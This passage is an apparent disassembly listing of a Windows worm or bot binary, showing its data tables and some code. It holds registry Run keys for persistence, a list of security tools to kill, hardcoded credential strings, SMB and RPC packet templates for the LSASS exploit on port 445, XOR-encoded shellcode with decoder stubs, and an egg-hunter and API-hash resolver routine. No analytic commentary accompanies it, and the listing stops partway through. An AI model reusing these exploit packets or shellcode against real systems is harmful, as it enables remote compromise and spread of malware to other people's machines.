dword_41E170	dd 1DE6h		; DATA XREF: sub_404BAB+5E7r
		dd 7BDh
dword_41E178	dd 1F90h		; DATA XREF: sub_40198E:loc_402998r
dword_41E17C	dd 73734223h, 0		; DATA XREF: sub_404BAB+503o
					; sub_404BAB+5A2o ...
dword_41E184	dd 73734223h, 0		; DATA XREF: sub_404BAB+5EEo
dword_41E18C	dd 2D734223h, 707865h	; DATA XREF: sub_40198E+1C0Co
					; sub_40198E+1C1Do ...
dword_41E194	dd 2D734223h, 6E616Ch	; DATA XREF: sub_40198E+1916o
					; sub_40198E+27A2o
dword_41E19C	dd 2D734223h, 74696873h, 0 ; DATA XREF:	sub_40198E+1702o
dword_41E1A8	dd 2D734223h, 74696873h, 0 ; DATA XREF:	sub_401073+B8o
					; sub_4013E5+C8o ...
dword_41E1B4	dd 2D734223h, 434E56h	; DATA XREF: .text:0040D4CEo
					; .text:0040D5D7o
byte_41E1BC	db 53h			; DATA XREF: .text:off_41E05Co
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\OLE',0
		align 4
		db 53h
aYstemCurrentco	db 'YSTEM\CurrentControlSet\Control\Lsa',0
		align 4
dword_41E264	dd 15h			; DATA XREF: sub_40198E+ECEr
					; sub_40198E+2DA9w ...
aMs_microsoft_c	db 'ms.microsoft.com',0 ; DATA XREF: sub_40198E+ED9o
					; sub_40198E+2D96o ...
		align 4
		dd 3 dup(0)
aMircosoft	db 'mircosoft',0        ; DATA XREF: sub_40198E+EC9o
					; sub_40198E+2DAFo ...
		align 4
		dd 5 dup(0)
aPassword	db 'password',0         ; DATA XREF: sub_40198E+EC4o
					; sub_40198E+2DBDo ...
		align 4
		dd 5 dup(0)
aSvchost_exe	db 'svchost.exe',0      ; DATA XREF: sub_40198E+EBFo
					; sub_40198E+2DCBo ...
		dd 5 dup(0)
aS_2:					; DATA XREF: sub_40198E+71Co
					; sub_40198E+895o
		unicode	0, <s>,0
aS_3:					; DATA XREF: sub_404BAB+519o
					; sub_404BAB+5B8o ...
		unicode	0, <s>,0
byte_41E2F0	db 77h			; DATA XREF: sub_40479E+28r
					; sub_40479E+30o
aTfsondos12345	db 'tfsondos12345',0
		align 10h
off_41E300	dd offset a@r00t	; DATA XREF: sub_406C24r sub_406C24+Bo
					; "*@r00t"
		dd offset dword_419388
aAs445_0	db 'as445',0
		align 10h
		db 2 dup(0)
byte_41E312	db 1			; DATA XREF: sub_40198E:loc_4032C0r
					; sub_40198E+1939o
aLs445		db 'ls445',0
		align 4
		dd 79730100h, 6Dh, 0
		dd 1, 2	dup(0)
dword_41E334	dd 10h			; DATA XREF: sub_40198E+937r
					; sub_40198E+963r
byte_41E338	db 2Eh			; DATA XREF: sub_40198E+6BEr
					; sub_40198E+987r ...
		align 10h
byte_41E340	db 1			; DATA XREF: sub_40557C+27r
		align 2
		dw 2
		dd 80004h, 200010h, 800040h
dword_41E350	dd 800000h, 400000h, 200000h, 100000h, 80000h, 40000h
					; DATA XREF: sub_40557C+C2r
					; sub_40557C+D4r
		dd 20000h, 10000h, 8000h, 4000h, 2000h,	1000h, 800h, 400h
		dd 200h, 100h, 80h, 40h, 20h, 10h, 8, 4, 2, 1
byte_41E3B0	db 38h			; DATA XREF: sub_40557C:loc_40558Er
		db 30h,	28h, 20h
		dd 81018h, 21293139h, 1091119h,	222A323Ah, 20A121Ah, 232B333Bh
		dd 262E363Eh, 60E161Eh,	252D353Dh, 50D151Dh, 242C343Ch
		dd 40C141Ch, 30B131Bh
dword_41E3E8	dd 6040201h, 0E0C0A08h,	1513110Fh, 1C1B1917h, 170A100Dh
					; DATA XREF: sub_40557C+66r
		dd 1B020400h, 914050Eh,	30B1216h, 60F0719h, 10C131Ah
dword_41E410	dd 241E3328h, 271D362Eh, 2F202C32h, 3726302Bh, 292D3421h
					; DATA XREF: sub_40557C:loc_40562Er
		dd 1F1C2331h
dword_41E428	dd 1010400h, 0		; DATA XREF: sub_405289+A6r
					; sub_405289+136r
		dd 10000h, 1010404h, 1010004h, 10404h, 4, 10000h, 400h
		dd 1010400h, 1010404h, 400h, 1000404h, 1010004h, 1000000h
		dd 4, 404h, 2 dup(1000400h), 2 dup(10400h), 2 dup(1010000h)
		dd 1000404h, 10004h, 2 dup(1000004h), 10004h, 0
		dd 404h, 10404h, 1000000h, 10000h, 1010404h, 4,	1010000h
		dd 1010400h, 2 dup(1000000h), 400h, 1010004h, 10000h, 10400h
		dd 1000004h, 400h, 4, 1000404h,	10404h,	1010404h, 10004h
		dd 1010000h, 1000404h, 1000004h, 404h, 10404h, 1010400h
		dd 404h, 2 dup(1000400h), 0
		dd 10004h, 10400h, 0
		dd 1010004h
dword_41E528	dd 80108020h		; DATA XREF: sub_405289+DFr
					; sub_405289+16Fr
		dd 80008000h, 8000h, 108020h, 100000h, 20h, 80100020h
		dd 80008020h, 80000020h, 80108020h, 80108000h, 80000000h
		dd 80008000h, 100000h, 20h, 80100020h, 108000h,	100020h
		dd 80008020h, 0
		dd 80000000h, 8000h, 108020h, 80100000h, 100020h, 80000020h
		dd 0
		dd 108000h, 8020h, 80108000h, 80100000h, 8020h,	0
		dd 108020h, 80100020h, 100000h,	80008020h, 80100000h, 80108000h
		dd 8000h, 80100000h, 80008000h,	20h, 80108020h,	108020h
		dd 20h,	8000h, 80000000h, 8020h, 80108000h, 100000h, 80000020h
		dd 100020h, 80008020h, 80000020h, 100020h, 108000h, 0
		dd 80008000h, 8020h, 80000000h,	80100020h, 80108020h, 108000h
dword_41E628	dd 208h			; DATA XREF: sub_405289+ADr
					; sub_405289+13Dr
		dd 8020200h, 0
		dd 8020008h, 8000200h, 0
		dd 20208h, 8000200h, 20008h, 2 dup(8000008h), 20000h, 8020208h
		dd 20008h, 8020000h, 208h, 8000000h, 8,	8020200h, 200h
		dd 20200h, 8020000h, 8020008h, 20208h, 8000208h, 20200h
		dd 20000h, 8000208h, 8,	8020208h, 200h,	8000000h, 8020200h
		dd 8000000h, 20008h, 208h, 20000h, 8020200h, 8000200h
		dd 0
		dd 200h, 20008h, 8020208h, 8000200h, 8000008h, 200h, 0
		dd 8020008h, 8000208h, 20000h, 8000000h, 8020208h, 8, 20208h
		dd 20200h, 8000008h, 8020000h, 8000208h, 208h, 8020000h
		dd 20208h, 8, 8020008h,	20200h
dword_41E728	dd 802001h		; DATA XREF: sub_405289+EEr
					; sub_405289+17Er
		dd 2 dup(2081h), 80h, 802080h, 800081h,	800001h, 2001h
		dd 0
		dd 2 dup(802000h), 802081h, 81h, 0
		dd 800080h, 800001h, 1,	2000h, 800000h,	802001h, 80h, 800000h
		dd 2001h, 2080h, 800081h, 1, 2080h, 800080h, 2000h, 802080h
		dd 802081h, 81h, 800080h, 800001h, 802000h, 802081h, 81h
		dd 2 dup(0)
		dd 802000h, 2080h, 800080h, 800081h, 1,	802001h, 2 dup(2081h)
		dd 80h,	802081h, 81h, 1, 2000h,	800001h, 2001h,	802080h
		dd 800081h, 2001h, 2080h, 800000h, 802001h, 80h, 800000h
		dd 2000h, 802080h
dword_41E828	dd 100h			; DATA XREF: sub_405289+BCr
					; sub_405289+14Cr
		dd 2080100h, 2080000h, 42000100h, 80000h, 100h,	40000000h
		dd 2080000h, 40080100h,	80000h,	2000100h, 40080100h, 42000100h
		dd 42080000h, 80100h, 40000000h, 2000000h, 2 dup(40080000h)
		dd 0
		dd 40000100h, 2	dup(42080100h),	2000100h, 42080000h, 40000100h
		dd 0
		dd 42000000h, 2080100h,	2000000h, 42000000h, 80100h, 80000h
		dd 42000100h, 100h, 2000000h, 40000000h, 2080000h, 42000100h
		dd 40080100h, 2000100h,	40000000h, 42080000h, 2080100h
		dd 40080100h, 100h, 2000000h, 42080000h, 42080100h, 80100h
		dd 42000000h, 42080100h, 2080000h, 0
		dd 40080000h, 42000000h, 80100h, 2000100h, 40000100h, 80000h
		dd 0
		dd 40080000h, 2080100h,	40000100h
dword_41E928	dd 20000010h		; DATA XREF: sub_405289+FDr
					; sub_405289+18Dr
		dd 20400000h, 4000h, 20404010h,	20400000h, 10h,	20404010h
		dd 400000h, 20004000h, 404010h,	400000h, 20000010h, 400010h
		dd 20004000h, 20000000h, 4010h,	0
		dd 400010h, 20004010h, 4000h, 404000h, 20004010h, 10h
		dd 2 dup(20400010h), 0
		dd offset loc_404010
		dd 20404000h, 4010h, 404000h, 20404000h, 20000000h, 20004000h
		dd 10h,	20400010h, 404000h, 20404010h, 400000h,	4010h
		dd 20000010h, 400000h, 20004000h, 20000000h, 4010h, 20000010h
		dd 20404010h, 404000h, 20400000h, 404010h, 20404000h, 0
		dd 20400010h, 10h, 4000h, 20400000h, 404010h, 4000h, 400010h
		dd 20004010h, 0
		dd 20404000h, 20000000h, 400010h, 20004010h
dword_41EA28	dd 200000h		; DATA XREF: sub_405289+C6r
					; sub_405289+156r
		dd 4200002h, 4000802h, 0
		dd 800h, 4000802h, 200802h, 4200800h, 4200802h,	200000h
		dd 0
		dd 4000002h, 2,	4000000h, 4200002h, 802h, 4000800h, 200802h
		dd 200002h, 4000800h, 4000002h,	4200000h, 4200800h, 200002h
		dd 4200000h, 800h, 802h, 4200802h, 200800h, 2, 4000000h
		dd 200800h, 4000000h, 200800h, 200000h,	2 dup(4000802h)
		dd 2 dup(4200002h), 2, 200002h,	4000000h, 4000800h, 200000h
		dd 4200800h, 802h, 200802h, 4200800h, 802h, 4000002h, 4200802h
		dd 4200000h, 200800h, 0
		dd 2, 4200802h,	0
		dd 200802h, 4200000h, 800h, 4000002h, 4000800h,	800h, 200002h
dword_41EB28	dd 10001040h		; DATA XREF: sub_405289+107r
					; sub_405289+197r
		dd 1000h, 40000h, 10041040h, 10000000h,	10001040h, 40h
		dd 10000000h, 40040h, 10040000h, 10041040h, 41000h, 10041000h
		dd 41040h, 1000h, 40h, 10040000h, 10000040h, 10001000h
		dd 1040h, 41000h, 40040h, 10040040h, 10041000h,	1040h
		dd 2 dup(0)
		dd 10040040h, 10000040h, 10001000h, 41040h, 40000h, 41040h
		dd 40000h, 10041000h, 1000h, 40h, 10040040h, 1000h, 41040h
		dd 10001000h, 40h, 10000040h, 10040000h, 10040040h, 10000000h
		dd 40000h, 10001040h, 0
		dd 10041040h, 40040h, 10000040h, 10040000h, 10001000h
		dd 10001040h, 0
		dd 10041040h, 2	dup(41000h), 2 dup(1040h), 40040h, 10000000h
		dd 10041000h, 30B0005h,	10h, 48h, 1, 16D016D0h,	0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
		dd 44000081h, 464B4320h, 454E4544h, 45444643h, 46434646h
		dd 46464547h, 43414343h, 2 dup(43414341h), 45200041h, 4644454Bh
		dd 45494545h, 43414344h, 4 dup(43414341h), 414141h, 0
		dd 2F000000h, 424D53FFh, 72h, 4	dup(0)
		dd 25C0000h, 0
		dd 2000C00h, 4C20544Eh,	2E30204Dh, 3231h, 48000000h, 424D53FFh
		dd 73h,	4 dup(0)
		dd 25C0000h, 0
		dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0)
		dd 1000000h, 0B000000h,	4A000000h, 54410043h, 434854h
		dd 0
		dd 3E8h
off_41EE1C	dd offset aHijackthis_exe ; DATA XREF: sub_409427+D1r
					; "HIJACKTHIS.EXE"
		dd offset aWindowspatch32 ; "WINDOWSPATCH32.EXE"
		align 8
dword_41EE28	dd 7474656Ch		; DATA XREF: sub_409C91+Fr
		dd 7265h, 0
dword_41EE34	dd 0			; DATA XREF: sub_409C91:loc_409CB8r
off_41EE38	dd offset sub_409C44	; DATA XREF: sub_409C91+4Ar
aAllnick	db 'allnick',0
		align 8
		dd 1, 409CEAh
aAs445		db 'as445',0            ; DATA XREF: sub_40AD8F+153o
		align 4
		db 2 dup(0)
aAsn445		db 'asn|445',0          ; DATA XREF: .text:0040B8D2o
					; sub_40C878+19Eo
		align 4
		dd 5 dup(0)
dword_41EE78	dd 1BDh			; DATA XREF: sub_40198E+19B8r
					; sub_40198E+19D3o ...
off_41EE7C	dd offset sub_40C878	; DATA XREF: sub_40AD8F+1D5r
dword_41EE80	dd 0			; DATA XREF: .text:0040B907r
					; sub_40C878+1CFr ...
		align 8
		dd 1, 33317361h, 39h, 73610000h, 33317C6Eh, 39h, 5 dup(0)
		dd 8Bh,	40C878h, 2 dup(0)
		dd 1, 636E76h, 0
		dd 6E760000h, 39357C63h, 3030h,	5 dup(0)
		dd 170Ch, 40CF9Ah, 2 dup(0)
		dd 1, 3434736Ch, 35h, 736C0000h, 7C737361h, 353434h, 5 dup(0)
		dd 1BDh, 40B75Fh, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 6Dh, 6 dup(0)
		dd 0B97h, 40CB53h, 2 dup(0)
		dd 1, 0Fh dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_41EFCA

; =============== S U B	R O U T	I N E =======================================



sub_41EFBA	proc far		; CODE XREF: sub_41EFBA:loc_41EFCAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_41EFC2:				; CODE XREF: sub_41EFBA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_41EFC2
		jmp	short loc_41EFCF
; ---------------------------------------------------------------------------


loc_41EFCA:				; CODE XREF: .text:0041EFB8j
		call	near ptr sub_41EFBA


loc_41EFCF:				; CODE XREF: sub_41EFBA+Ej
		jo	short loc_41F033
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_41F051
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_41F033:				; CODE XREF: sub_41EFBA:loc_41EFCFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_41F051:				; CODE XREF: sub_41EFBA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_41EFBA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_41F0F8:				; DATA XREF: sub_40B31C+159o
					; sub_40B31C+216o
		jmp	short loc_41F10A

; =============== S U B	R O U T	I N E =======================================



sub_41F0FA	proc near		; CODE XREF: sub_41F0FA:loc_41F10Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_41F102:				; CODE XREF: sub_41F0FA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_41F102
		jmp	short loc_41F10F
; ---------------------------------------------------------------------------


loc_41F10A:				; CODE XREF: .text:loc_41F0F8j
		call	sub_41F0FA


loc_41F10F:				; CODE XREF: sub_41F0FA+Ej
		jo	short near ptr dword_41F088+1Eh
		cwde
		cdq
		cdq
		retn
sub_41F0FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_41F1A8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40B31C+108o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_41F290	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .text:0040B7E4o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_41F320	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:0040B810o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_41F3D0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:0040B837o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41F4B0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B31C+59o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_40B31C+8Bo
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 2 dup(0)
dword_41F518	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B31C+2AEo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_41F588	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B31C+2D5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_41F630	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B31C+3B4o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_41F6B0	dd offset loc_401495	; DATA XREF: sub_40B31C+3E2o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_41F748	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B31C+30Ao
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_41F7B8	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B31C+335o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_41F830	dd 0			; DATA XREF: sub_40B31C+363o
		dd offset loc_40A894+6
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A894+6
		dd 1, 0
		dd 1, 0
		dd offset loc_40A894+6
		dd 1, 0
		dd 1, 0
		dd offset loc_40A894+6
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_41F8F0	dd 1004600h		; DATA XREF: sub_40B31C+141r
					; sub_40B31C+249r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_41F9A8	dd 7FFDF020h, 0		; DATA XREF: sub_40BB9B+162o
byte_41F9B0	db 90h			; DATA XREF: sub_40BB9B+AFo
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_41F9BC	dd 10FF8h		; DATA XREF: sub_40BB9B+79o
dword_41F9C0	dd 10FF8h, 0		; DATA XREF: sub_40BB9B+6Ao
dword_41F9C8	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40BFB5+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41FA50	dd 0			; DATA XREF: sub_40BFB5+44o
		dd 800000D4h, 0
dword_41FA5C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40BFB5+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 3	dup(0)
unk_41FA90	db  81h	; 		; DATA XREF: sub_40C08F+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_41FAE0	db 41h			; DATA XREF: sub_40C62F+10Ar
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_41FB28	proc near		; DATA XREF: sub_40C878+82o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_41FC24
		push	dword ptr [esi]
		push	63D61209h
		call	sub_41FC3A
		mov	[esi+8], eax
		call	sub_41FBED
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_41FC3A
		mov	[esi+0Ch], eax
		call	sub_41FB9F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_41FC3A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_41FB28	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FB9F	proc near		; CODE XREF: sub_41FB28+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_41FBC8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_41FB9F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FBC8	proc near		; CODE XREF: sub_41FB9F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_41FBD7:				; CODE XREF: sub_41FBC8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_41FBE4
		inc	ebx
		jmp	short loc_41FBD7
; ---------------------------------------------------------------------------


loc_41FBE4:				; CODE XREF: sub_41FBC8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_41FBC8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



